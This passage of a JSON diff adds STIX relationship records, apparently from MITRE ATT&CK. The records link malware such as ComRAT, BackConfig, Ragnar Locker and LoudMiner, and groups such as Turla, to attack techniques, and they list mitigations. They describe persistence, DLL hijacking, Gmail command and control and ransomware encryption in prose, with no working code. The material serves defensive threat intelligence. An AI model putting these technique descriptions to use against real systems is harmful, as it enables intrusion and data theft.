"2020-06-25T16:32:23.561Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-06-24T12:42:35.446Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8faa230d-ced2-4289-81c5-554fd6dc62fd", + "description": "Disable SSH if it is not necessary on a host or restrict SSH access for specific users/groups using /etc/ssh/sshd_config.", + "target_ref": "attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4", + "modified": "2020-06-25T16:32:23.591Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-06-24T12:42:35.454Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8b86fa49-6d13-42b4-bd48-814abfd6793f", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", + "modified": "2020-06-24T12:42:35.464Z", + "source_ref": "attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-06-24T12:42:35.464Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--13d595d2-9497-4bbe-be74-6e2a3a4dde06", + "description": "[Skidmap](https://attack.mitre.org/software/S0468) has the ability to add the public key of its handlers to the authorized_keys file to maintain persistence on an infected host.(Citation: Trend Micro Skidmap)", + "target_ref": "attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4", + "modified": "2020-06-25T13:32:00.164Z", + "source_ref": "malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-24T13:16:30.364Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/", + "description": "Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020.", + "source_name": "Trend Micro Skidmap" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--aba32ee8-9eca-45fa-99f3-89e75dbc16a6", + "description": "[ABK](https://attack.mitre.org/software/S0469) can extract a malicious Portable Executable (PE) from a photo.(Citation: Trend Micro Tick November 2019)", + "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916", + "modified": "2020-06-24T15:33:08.153Z", + "source_ref": "malware--a0ebedca-d558-4e48-8ff7-4bf76208d90c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-24T15:33:08.153Z", + "external_references": [ + { + "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", + "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020.", + "source_name": "Trend Micro Tick November 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3811b12a-fcfc-47d2-83ec-89df60ca4c21", + "description": "[BBK](https://attack.mitre.org/software/S0470) can extract a malicious Portable Executable (PE) from a photo.(Citation: Trend Micro Tick November 2019)", + "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916", + "modified": "2020-06-24T15:36:00.917Z", + "source_ref": "malware--f0fc920e-57a3-4af5-89be-9ea594c8b1ea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-24T15:36:00.917Z", + "external_references": [ + { + "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", + "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. 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Retrieved June 17, 2020.", + "source_name": "Unit 42 BackConfig May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ebf39235-749f-400e-aeb9-185df9e43fe1", + "description": "[BackConfig](https://attack.mitre.org/software/S0475) has hidden malicious payloads in %USERPROFILE%\\Adobe\\Driver\\dwg\\ and mimicked the legitimate DHCP service binary.(Citation: Unit 42 BackConfig May 2020)", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "modified": "2020-06-29T15:22:59.271Z", + "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-24T20:43:18.213Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/", + "description": "Hinchliffe, A. and Falcone, R. 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Retrieved June 17, 2020.", + "source_name": "Unit 42 BackConfig May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fc787de3-8a82-43f6-b649-f01a7006be54", + "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "modified": "2020-06-24T22:30:55.923Z", + "source_ref": "attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-06-24T22:30:55.923Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fd47b0c7-e1d9-4e6d-8081-4e56ecb1ad03", + "description": "Limit the privileges of user accounts so that only authorized administrators can edit system environment variables.", + "target_ref": "attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335", + "modified": "2021-08-30T21:35:12.513Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-06-24T22:37:51.030Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--caf19942-8346-447f-9781-28a0b858c43f", + "description": "Identify and block potentially malicious unmanaged COR_PROFILER profiling DLLs by using application control solutions like AppLocker that are capable of auditing and/or blocking unapproved DLLs.(Citation: Beechey 2010)(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker)", + "target_ref": "attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335", + "modified": "2021-08-30T21:35:12.578Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-06-24T22:37:51.034Z", + "external_references": [ + { + "source_name": "Beechey 2010", + "description": "Beechey, J. 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Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0e7ce20c-1a4f-4361-a954-1d7a164baca1", + "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has used wmic.exe and Windows Registry modifications to set the COR_PROFILER environment variable to execute a malicious DLL whenever a process loads the .NET CLR.(Citation: RedCanary Mockingbird May 2020)", + "target_ref": "attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335", + "modified": "2020-06-25T13:59:10.215Z", + "source_ref": "intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-24T23:51:51.525Z", + "external_references": [ + { + "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/", + "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.", + "source_name": "RedCanary Mockingbird May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4fb841dd-93d8-404a-8738-5fe19a53c730", + "description": "(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)", + "target_ref": "malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541", + "modified": "2020-06-25T17:22:29.070Z", + "source_ref": "intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-25T17:22:29.070Z", + "external_references": [ + { + "url": "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf", + "description": "Karim, T. (2018, August). TRAILS OF WINDSHIFT. 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[ComRAT](https://attack.mitre.org/software/S0126) has encrypted its virtual file system using AES-256 in XTS mode and has encoded PowerShell scripts.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020) ", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2020-12-11T20:13:44.928Z", + "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-29T03:27:51.057Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.", + "source_name": "ESET ComRAT May 2020" + }, + { + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020.", + "source_name": "CISA ComRAT Oct 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c2496cf4-b502-44cf-ae85-efb9b882a4b1", + "description": "[ComRAT](https://attack.mitre.org/software/S0126) has encrypted and stored its orchestrator code in the Registry as well as a PowerShell script into the WsqmCons Registry key.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020) ", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "modified": "2020-12-11T20:13:44.996Z", + "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-29T03:27:51.063Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.", + "source_name": "ESET ComRAT May 2020" + }, + { + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020.", + "source_name": "CISA ComRAT Oct 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--39647c47-c73d-4da7-9b1a-8c67f20c1890", + "description": "[ComRAT](https://attack.mitre.org/software/S0126) has injected its orchestrator DLL into explorer.exe. [ComRAT](https://attack.mitre.org/software/S0126) has also injected its communications module into the victim's default browser to make C2 connections appear less suspicious as all network connections will be initiated by the browser process.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020)", + "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", + "modified": "2020-12-09T23:26:09.430Z", + "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-29T03:27:51.065Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.", + "source_name": "ESET ComRAT May 2020" + }, + { + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020.", + "source_name": "CISA ComRAT Oct 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7dd2714d-aa8a-40ce-bae1-98634090ac01", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used fsutil fsinfo drives to list connected drives.(Citation: ESET ComRAT May 2020)", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "modified": "2020-06-29T03:33:39.040Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-29T03:33:39.040Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.", + "source_name": "ESET ComRAT May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9800fd7a-d2e1-4188-a991-7b8e09edaa13", + "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used cmd.exe to execute commands.(Citation: ESET ComRAT May 2020)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-06-29T03:41:07.256Z", + "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-29T03:41:07.256Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.", + "source_name": "ESET ComRAT May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bdac1391-310e-4511-b272-b80924166723", + "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used PowerShell to load itself every time a user logs in to the system. [ComRAT](https://attack.mitre.org/software/S0126) can execute PowerShell scripts loaded into memory or from the file system.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020)", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "modified": "2020-12-09T23:26:09.548Z", + "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-29T03:41:07.285Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.", + "source_name": "ESET ComRAT May 2020" + }, + { + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020.", + "source_name": "CISA ComRAT Oct 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6ff34c78-2c85-4be5-b3db-0ec8543087d9", + "description": "[ComRAT](https://attack.mitre.org/software/S0126) has the ability to use the Gmail web UI to receive commands and exfiltrate information.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020)", + "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", + "modified": "2020-12-09T23:26:09.611Z", + "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-29T03:41:07.302Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.", + "source_name": "ESET ComRAT May 2020" + }, + { + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020.", + "source_name": "CISA ComRAT Oct 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7eaf474f-7755-41d7-96c6-811889457be2", + "description": "[ComRAT](https://attack.mitre.org/software/S0126) can load a PE file from memory or the file system and execute it with CreateProcessW.(Citation: ESET ComRAT May 2020)", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "modified": "2020-06-29T04:05:19.072Z", + "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-29T04:05:19.072Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.", + "source_name": "ESET ComRAT May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--217ad0a6-f693-416e-9ae4-bcc0c533ce9f", + "description": "[ComRAT](https://attack.mitre.org/software/S0126) can use SSL/TLS encryption for its HTTP-based C2 channel. [ComRAT](https://attack.mitre.org/software/S0126) has used public key cryptography with RSA and AES encrypted email attachments for its Gmail C2 channel.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020) ", + "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", + "modified": "2020-12-11T20:25:41.108Z", + "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-29T04:05:19.098Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.", + "source_name": "ESET ComRAT May 2020" + }, + { + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020.", + "source_name": "CISA ComRAT Oct 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8763c8dd-cd68-4402-be43-4dbd96c83c2d", + "description": "[BackConfig](https://attack.mitre.org/software/S0475) has the ability to gather the victim's computer name.(Citation: Unit 42 BackConfig May 2020)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2020-06-29T15:17:53.832Z", + "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-29T15:17:53.832Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/", + "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020.", + "source_name": "Unit 42 BackConfig May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8b5b1096-80f7-43dd-a881-af92beac20f9", + "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", + "modified": "2020-06-29T15:36:41.688Z", + "source_ref": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-06-29T15:36:41.688Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2597e12c-c342-4ca0-a235-b05752b2bfa5", + "description": "[BackConfig](https://attack.mitre.org/software/S0475) has the ability to identify folders and files related to previous infections.(Citation: Unit 42 BackConfig May 2020)\t", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2020-06-29T15:56:13.237Z", + "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-29T15:53:14.495Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/", + "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020.", + "source_name": "Unit 42 BackConfig May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f9deebbf-5710-4e54-b4be-83404cee35da", + "description": "Use application control to mitigate installation and use of unapproved virtualization software.", + "target_ref": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d", + "modified": "2021-10-14T22:22:00.044Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-06-29T22:23:14.216Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1ec28c41-586b-42dc-9400-6e6313e38d84", + "description": "Disable Hyper-V if not necessary within a given environment.", + "target_ref": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d", + "modified": "2021-10-14T22:22:00.046Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-06-29T22:23:14.236Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9fc89cc1-ef57-461c-9324-0ebe43999c07", + "description": "[LoudMiner](https://attack.mitre.org/software/S0451) has used QEMU and VirtualBox to run a Tiny Core Linux virtual machine, which runs XMRig and makes connections to the C2 server for updates.(Citation: ESET LoudMiner June 2019)", + "target_ref": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d", + "modified": "2020-06-29T22:47:34.564Z", + "source_ref": "malware--f99f3dcc-683f-4936-8791-075ac5e58f10", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-29T22:47:34.564Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/", + "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020.", + "source_name": "ESET LoudMiner June 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--80bead39-b050-48d9-b185-aa31d1681a61", + "description": "[LoudMiner](https://attack.mitre.org/software/S0451) can automatically launch a Linux virtual machine as a service at startup if the AutoStart option is enabled in the VBoxVmService configuration file.(Citation: ESET LoudMiner June 2019)", + "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "modified": "2020-08-19T16:11:52.444Z", + "source_ref": "malware--f99f3dcc-683f-4936-8791-075ac5e58f10", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-29T23:17:50.379Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/", + "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020.", + "source_name": "ESET LoudMiner June 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bf5b23c2-9b65-4909-ae6c-21b8ccadd930", + "description": "[Ragnar Locker](https://attack.mitre.org/software/S0481) has been delivered as an unsigned MSI package that was executed with msiexec.exe.(Citation: Sophos Ragnar May 2020)", + "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336", + "modified": "2020-06-30T00:18:39.773Z", + "source_ref": "malware--54895630-efd2-4608-9c24-319de972a9eb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-30T00:18:39.773Z", + "external_references": [ + { + "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", + "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.", + "source_name": "Sophos Ragnar May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--05951058-e8d4-4ace-a6b8-54735c6a4769", + "description": "[Ragnar Locker](https://attack.mitre.org/software/S0481) encrypts files on the local machine and mapped drives prior to displaying a note demanding a ransom.(Citation: Sophos Ragnar May 2020)(Citation: Cynet Ragnar Apr 2020)", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "modified": "2020-06-30T00:18:39.795Z", + "source_ref": "malware--54895630-efd2-4608-9c24-319de972a9eb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-30T00:18:39.795Z", + "external_references": [ + { + "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", + "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.", + "source_name": "Sophos Ragnar May 2020" + }, + { + "url": "https://www.cynet.com/blog/cynet-detection-report-ragnar-locker-ransomware/", + "description": "Gold, B. (2020, April 27). Cynet Detection Report: Ragnar Locker Ransomware. Retrieved June 29, 2020.", + "source_name": "Cynet Ragnar Apr 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--913c67d5-0c5b-40d5-be88-6ce4e5030603", + "description": "[Ragnar Locker](https://attack.mitre.org/software/S0481) has used VirtualBox and a stripped Windows XP virtual machine to run itself. The use of a shared folder specified in the configuration enables [Ragnar Locker](https://attack.mitre.org/software/S0481) to encrypt files on the host operating system, including files on any mapped drives.(Citation: Sophos Ragnar May 2020)", + "target_ref": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d", + "modified": "2020-06-30T00:18:39.805Z", + "source_ref": "malware--54895630-efd2-4608-9c24-319de972a9eb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-30T00:18:39.805Z", + "external_references": [ + { + "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", + "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. 